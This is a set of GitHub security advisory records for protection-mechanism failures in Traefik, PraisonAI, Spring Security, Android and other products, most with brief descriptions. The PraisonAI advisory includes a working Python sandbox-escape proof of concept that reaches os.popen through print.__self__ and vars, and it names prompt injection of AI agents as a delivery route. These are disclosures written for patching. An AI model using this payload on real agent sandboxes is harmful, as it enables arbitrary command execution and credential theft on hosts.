CWE-693

{
  "affected": [],
  "aliases": [
    "CVE-2025-13326"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-17T19:16:01Z",
    "severity": "LOW"
  },
  "details": "Mattermost Desktop App versions \u003c6.0.0 fail to enable the Hardened Runtime on the Mattermost Desktop App when packaged for Mac App Store which allows an attacker to inherit TCC permissions via copying the binary to a tmp folder.",
  "id": "GHSA-4m4m-vm74-rqv4",
  "modified": "2025-12-17T21:30:48Z",
  "published": "2025-12-17T21:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13326"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-ea.1"
            },
            {
              "fixed": "3.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-636",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:15:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a medium severity vulnerability in Traefik\u0027s Kubernetes Ingress NGINX provider that causes affected routes to fail open. When an Ingress explicitly enables BasicAuth or DigestAuth through the supported `nginx.ingress.kubernetes.io/auth-type` and `auth-secret` annotations, but the referenced auth Secret cannot be resolved or parsed, Traefik logs the resolution error, skips installing the authentication middleware, and still emits a router to the backend service. A route that operators intended to protect is therefore published to the data plane without its authentication control, allowing unauthenticated access to the backend. The trigger is an invalid or unresolved auth dependency \u2014 a missing, malformed, unreadable, or policy-denied Secret \u2014 rather than an intentionally unprotected route.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik\u0027s Kubernetes Ingress NGINX provider can fail open for routes that explicitly configure BasicAuth or DigestAuth through supported ingress-nginx annotations.\n\nWhen an Ingress contains `nginx.ingress.kubernetes.io/auth-type: basic` or `digest`, but the referenced `nginx.ingress.kubernetes.io/auth-secret` cannot be resolved or parsed, Traefik logs the auth resolution error, skips installing the BasicAuth/DigestAuth middleware, and still emits a router to the backend service.\n\nThis can expose a route that operators intended to protect. The issue is not that an invalid Secret exists; the issue is that an explicitly auth-protected Ingress location is translated into a live backend route where the authentication control is removed from the generated data-plane configuration, with only a controller log entry, instead of failing closed.\n\nTested affected versions:\n\n- Current `master`: `29406d42898547f1ffabd904f66af06c212740cf`\n- Latest tag tested by me: `v3.7.1` / `fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`\n\nThe KubernetesIngressNGINX provider is documented as no longer experimental as of v3.6.2, and the `auth-type`, `auth-secret`, `auth-secret-type`, and `auth-realm` annotations are documented supported annotations.\n\n### Details\n\nThe root cause is in `pkg/provider/kubernetes/ingress-nginx/build.go`. During provider translation, auth is pre-resolved for each location:\n\n```go\nif ing.config.AuthType != nil {\n    basic, digest, err := p.resolveBasicAuth(ing.Namespace, ing.config)\n    if err != nil {\n        logger.Error().\n            Err(err).\n            Str(\"ingress\", fmt.Sprintf(\"%s/%s rule-%d path-%d\", ing.Namespace, ing.Name, ri, pi)).\n            Msg(\"Cannot resolve auth secret, skipping auth middleware\")\n    } else {\n        loc.BasicAuth = basic\n        loc.DigestAuth = digest\n    }\n}\n```\n\nThe error is logged, but `loc.Error` is not set. Later, `pkg/provider/kubernetes/ingress-nginx/translator.go` only routes to `unavailable-service` when `loc.Error` is true. Since this auth error leaves `loc.Error` false, the generated router continues to use the real backend service, and `applyMiddlewares` has no BasicAuth/DigestAuth middleware to attach.\n\nThis differs from nearby fail-closed behavior for comparable provider translation failures:\n\n- `auth-tls-secret` resolution failure skips the affected ingress.\n- `custom-headers` ConfigMap resolution failure sets `loc.Error = true`, causing the translator to avoid normal backend exposure.\n\nSecurity invariant:\n\n\u003e If an Ingress location explicitly configures BasicAuth/DigestAuth, Traefik should not forward that location to the backend unless the corresponding auth middleware is installed.\n\nReasonable fail-closed behaviors would include omitting the router, routing it to `unavailable-service`, returning 503, or attaching a deny-all middleware until the auth dependency is valid.\n\n### Expected behavior\n\nAn Ingress location with explicit `auth-type: basic` or `auth-type: digest` must not forward requests to the backend unless the generated Traefik router has the corresponding BasicAuth/DigestAuth middleware attached.\n\nIf the referenced auth Secret is missing, malformed, unreadable, denied by namespace policy, or otherwise unusable, Traefik should fail closed for that location.\n\n### Actual behavior\n\nWhen `auth-secret` resolution fails, Traefik still creates a router to the backend service and only omits the BasicAuth/DigestAuth middleware. The only indication is a controller log entry:\n\n```text\nCannot resolve auth secret, skipping auth middleware\n```\n\n### PoC\n\nI reproduced this with a clean fake Kubernetes provider state. The reproduction does not use Docker provider labels, dashboard/API routing, lab backends, or public network targets.\n\nMinimal Kubernetes objects:\n\n- `IngressClass` named `nginx` with controller `k8s.io/ingress-nginx`\n- `Service` named `whoami` in namespace `default`\n- `EndpointSlice` for the `whoami` service\n- `Ingress` with `ingressClassName: nginx`, a backend pointing to `whoami`, and these annotations:\n\n```yaml\nnginx.ingress.kubernetes.io/auth-type: \"basic\"\nnginx.ingress.kubernetes.io/auth-secret-type: \"auth-file\"\nnginx.ingress.kubernetes.io/auth-secret: \"default/missing-basic-auth\"\n```\n\nThe referenced Secret intentionally does not exist. The expected secure behavior is fail-closed for this auth-configured route. The observed behavior is a normal router to the backend without BasicAuth/DigestAuth.\n\nKey failing assertion from the regression harness:\n\n```text\nrouter forwards to backend service without BasicAuth/DigestAuth when auth-secret is missing; middlewares=[default-auth-missing-secret-rule-0-path-0-retry] service=\"default-auth-missing-secret-whoami-80\"\n```\n\nThe same behavior reproduces on both current `master` and `v3.7.1`.\n\nI also tested a matrix of auth-secret resolution failures. In each error case, Traefik still emitted the backend router without BasicAuth/DigestAuth:\n\n- missing `auth-secret`\n- omitted/empty `auth-secret`\n- invalid `auth-secret-type`\n- `auth-file` Secret missing the required `auth` key\n- empty `auth-map` Secret\n- missing DigestAuth Secret\n- cross-namespace `auth-secret` denied by default policy\n\nThe same matrix includes a positive control where a valid `auth-file` Secret correctly attaches BasicAuth, confirming that the harness is exercising the intended provider path.\n\nI also performed a clean-room revalidation from fresh `git archive` source trees for both source/master and v3.7.1. Only the two minimal test harnesses were copied into each archived source tree. This avoided contamination from lab compose files, Docker provider state, dashboard/API routes, prior source-tree test files, or running lab backends.\n\n### Threat model\n\nThis does not require an attacker to modify Traefik static configuration or Traefik process state. The relevant security boundary is the Kubernetes-declared route policy: an Ingress explicitly declares BasicAuth/DigestAuth, but Traefik publishes the data-plane route without that control when the auth dependency is invalid.\n\nIn multi-tenant or GitOps-managed clusters, the actor or automation that can affect Secret existence, Secret contents, namespace policy, or deployment ordering is not necessarily the same actor that owns the protected backend or Traefik deployment. As a result, a mistake, rollback, pruning job, policy change, or compromise limited to Kubernetes application resources can remove the effective auth boundary while the Ingress continues to declare that auth is required.\n\n### Impact\n\nThis is a fail-open authentication control issue leading to unintended unauthenticated route exposure.\n\nThe trigger is an invalid or unresolved auth dependency, but the security consequence is a data-plane route that violates explicit auth intent. This is materially different from intentionally deploying an unprotected route: the Ingress declares `auth-type: basic` or `digest`, yet Traefik publishes the backend without the corresponding auth middleware.\n\nRealistic scenarios include:\n\n- GitOps, Helm, or CI/CD deploys Ingress and Secret resources separately. Ordering issues, rollbacks, pruning, or typos can leave the Ingress active while the auth Secret is absent or unreadable.\n- Kubernetes RBAC commonly separates ownership of Ingress objects, Secrets, and namespace policies. A lower-privileged namespace actor or deployment automation may be able to affect the referenced Secret or cross-namespace reference outcome without having direct access to Traefik static configuration.\n- During ingress-nginx migration, operators reasonably expect supported `nginx.ingress.kubernetes.io/auth-*` annotations to preserve the authentication boundary. Publishing the backend without auth is a worse failure mode than rejecting the invalid location.\n- A transient Secret deletion, malformed Secret update, or policy change can turn an already protected route into an unprotected route without changing the Ingress rule itself.\n\nController logs are not a sufficient mitigation. Logs do not prevent exposure, may not page the service owner, and the first externally visible symptom can be unauthenticated access to the protected backend.\n\n### Suggested remediation\n\nFail closed on any `resolveBasicAuth` error. A minimal tested change is to mark the location as errored:\n\n```diff\n if err != nil {\n     logger.Error().\n         Err(err).\n         Str(\"ingress\", fmt.Sprintf(\"%s/%s rule-%d path-%d\", ing.Namespace, ing.Name, ri, pi)).\n         Msg(\"Cannot resolve auth secret, skipping auth middleware\")\n+    loc.Error = true\n } else {\n```\n\nThis reuses the existing `loc.Error` / `unavailable-service` path. In my local validation, this change made the no-backend-without-auth regression pass while preserving the valid-secret positive control.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-4mr2-fg2p-w63c",
  "modified": "2026-06-19T21:15:56Z",
  "published": "2026-06-19T21:15:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-4mr2-fg2p-w63c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik Kubernetes Ingress NGINX provider fails open when auth-secret resolution fails"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:30:13Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.\n\nThis is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline).\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n---\n\n## Root Cause\n\nThree independent gaps in the AST-based security validation:\n\n### Gap 1: `__self__` missing from `_blocked_attrs`\n\nIn CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `\u003cmodule \u0027builtins\u0027 (built-in)\u003e`.\n\nThe `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes.\n\n### Gap 2: `vars` not blocked as callable or attribute\n\n`builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access.\n\nSo `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` \u2014 a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc.\n\n### Gap 3: AST `Call` check only catches `ast.Name` nodes\n\nThe dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` \u2014 i.e., bare-name calls like `exec(...)`. It does NOT catch:\n- Attribute calls: `b.exec(...)` \u2014 func is `ast.Attribute`\n- Subscript calls: `d[\"exec\"](...)` \u2014 func is `ast.Subscript`\n\n### Gap 4: Runtime string construction bypasses string constant check\n\nThe string constant check (line 92-98) catches literals like `\"__import__\"`, but NOT runtime concatenation like `\"_\" + \"_\" + \"import\" + \"_\" + \"_\"`. The AST sees 5 separate `Constant` nodes (`\"_\"`, `\"_\"`, `\"import\"`, `\"_\"`, `\"_\"`), none of which contain any blocked attr as a substring.\n\n---\n\n## Proof of Concept\n\n```python\nfrom praisonaiagents.tools.python_tools import execute_code\n\n# Exploit: 4 lines, bypasses ALL security layers\npayload = \"\"\"\nb = print.__self__\nd = b.vars(b)\nkey = \"_\" + \"_\" + \"import\" + \"_\" + \"_\"\nimp = d[key]\nmod = imp(\"os\")\nprint(mod.popen(\"id\").read())\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# Output: {\u0027result\u0027: None, \u0027stdout\u0027: \u0027uid=1000(user) gid=1000(user) ...\\n\u0027, \u0027stderr\u0027: \u0027\u0027, \u0027success\u0027: True}\n```\n\n### Step-by-step bypass analysis:\n\n| Line | AST node | Check | Result |\n|---|---|---|---|\n| `print.__self__` | `Attribute(attr=\u0027__self__\u0027)` | `__self__` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars` | `Attribute(attr=\u0027vars\u0027)` | `vars` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** \u2192 passes |\n| `\"_\"`, `\"import\"` | `Constant(value=str)` | Contains blocked attr? | **NO** \u2192 passes |\n| `d[key]` | `Subscript` | Not checked | passes |\n| `imp(\"os\")` | `Call(func=Name(\u0027imp\u0027))` | `imp` in blocked calls? | **NO** \u2192 passes |\n\n**Result: Full sandbox escape \u2192 arbitrary command execution**\n\n---\n\n## Impact\n\nAn attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:\n\n- Execute arbitrary commands on the host system\n- Read/write any file accessible to the process\n- Exfiltrate environment variables, API keys, and credentials\n- Pivot to internal networks\n- Install persistent backdoors\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: All versions through 1.6.37 (latest)\n- **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function\n- **Default configuration affected**: Yes (`sandbox_mode=\"sandbox\"` is the default)\n\n---\n\n## Remediation\n\n### Immediate fix\nAdd `__self__` to `_blocked_attrs`:\n```python\n_blocked_attrs = frozenset({\n    ...,\n    \u0027__self__\u0027,  # Built-in functions leak their parent module\n})\n```\n\n### Additional hardening\n1. Block `vars` in the callable blocklist\n2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes\n3. Add AST check for `BinOp` string concatenation that could construct blocked attr names\n\n### Fundamental recommendation\nDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:\n- Using `isolated-vm` (Node.js) or WebAssembly-based isolation\n- Using OS-level sandboxing (seccomp, namespaces, gVisor)\n- Removing in-process code execution entirely in favor of containerized execution",
  "id": "GHSA-4mr5-g6f9-cfrh",
  "modified": "2026-05-29T22:30:13Z",
  "published": "2026-05-29T22:30:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-0014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-16T02:15:50Z",
    "severity": "HIGH"
  },
  "details": "In startInstall of UpdateFetcher.java, there is a possible way to trigger a malicious config update due to a logic error. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-4mwq-x2m3-qxc6",
  "modified": "2024-08-26T21:30:31Z",
  "published": "2024-02-16T03:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0014"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2024-02-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-12094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-31T09:15:46Z",
    "severity": "MODERATE"
  },
  "details": "The OOPSpam Anti-Spam: Spam Protection for WordPress Forms \u0026 Comments (No CAPTCHA) plugin for WordPress is vulnerable to IP Header Spoofing in all versions up to, and including, 1.2.53. This is due to the plugin trusting client-controlled forwarded headers (such as CF-Connecting-IP, X-Forwarded-For, and others) without verifying that those headers originate from legitimate, trusted proxies. This makes it possible for unauthenticated attackers to spoof their IP address and bypass IP-based security controls, including blocked IP lists and rate limiting protections, by sending arbitrary HTTP headers with their requests.",
  "id": "GHSA-4qw6-7g5m-4mvh",
  "modified": "2025-10-31T09:30:26Z",
  "published": "2025-10-31T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12094"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oopspam-anti-spam/tags/1.2.49/include/helpers.php#L268"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3386104/oopspam-anti-spam/trunk/include/helpers.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b5137bc2-912b-4e25-966e-515e8d9fc21c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-48605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-02T19:16:26Z",
    "severity": "HIGH"
  },
  "details": "In multiple functions of KeyguardViewMediator.java, there is a possible lockscreen bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-4qw6-ccw7-qpwp",
  "modified": "2026-03-06T06:30:29Z",
  "published": "2026-03-02T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48605"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-32725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T17:22:10Z",
    "severity": "HIGH"
  },
  "details": "Protection mechanism failure in Windows DHCP Server allows an unauthorized attacker to deny service over a network.",
  "id": "GHSA-4qxh-75jf-785r",
  "modified": "2025-06-10T18:32:28Z",
  "published": "2025-06-10T18:32:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32725"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-32725"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-config"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:49:32Z",
    "nvd_published_at": "2026-04-22T06:16:04Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in Spring Spring Security. If an application is using\u00a0securityMatchers(String)\u00a0and a\u00a0PathPatternRequestMatcher.Builder\u00a0bean to prepend a servlet path, matching requests to that filter chain may fail and its related security components will not be exercised as intended by the application. This can lead to the authentication, authorization, and other security controls being rendered inactive on intended requests. This issue affects Spring Security: from 7.0.0 through 7.0.4.",
  "id": "GHSA-4wrg-8wpc-h923",
  "modified": "2026-04-29T20:49:32Z",
  "published": "2026-04-22T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22753"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-security"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-22753"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Security Doesn\u0027t Correctly Include Servlet Path in Path Matching of HttpSecurity#securityMatchers"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-36310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-20T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell Networking OS10, versions 10.4.3.x, 10.5.0.x, 10.5.1.x \u0026 10.5.2.x, contain an uncontrolled resource consumption flaw in its API service. A high-privileged API user may potentially exploit this vulnerability, leading to a denial of service.",
  "id": "GHSA-4xf4-x6w8-3gwg",
  "modified": "2022-10-27T19:00:29Z",
  "published": "2021-11-21T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36310"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000193076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-0243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-19T20:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the detection engine of Cisco Firepower System Software could allow an unauthenticated, remote attacker to bypass a configured file action policy that is intended to drop the Server Message Block Version 2 (SMB2) and SMB Version 3 (SMB3) protocols if malware is detected. The vulnerability is due to incorrect detection of an SMB2 or SMB3 file based on the total file length. An attacker could exploit this vulnerability by sending a crafted SMB2 or SMB3 transfer request through the targeted device. An exploit could allow the attacker to pass SMB2 or SMB3 files that could be malware even though the device is configured to block them. This vulnerability does not exist for SMB Version 1 (SMB1) files. This vulnerability affects Cisco Firepower System Software when one or more file action policies are configured, on software releases prior to 6.2.3. Cisco Bug IDs: CSCvg68807.",
  "id": "GHSA-522c-wx8c-28p2",
  "modified": "2022-05-13T01:35:31Z",
  "published": "2022-05-13T01:35:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0243"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180418-fss"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103943"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}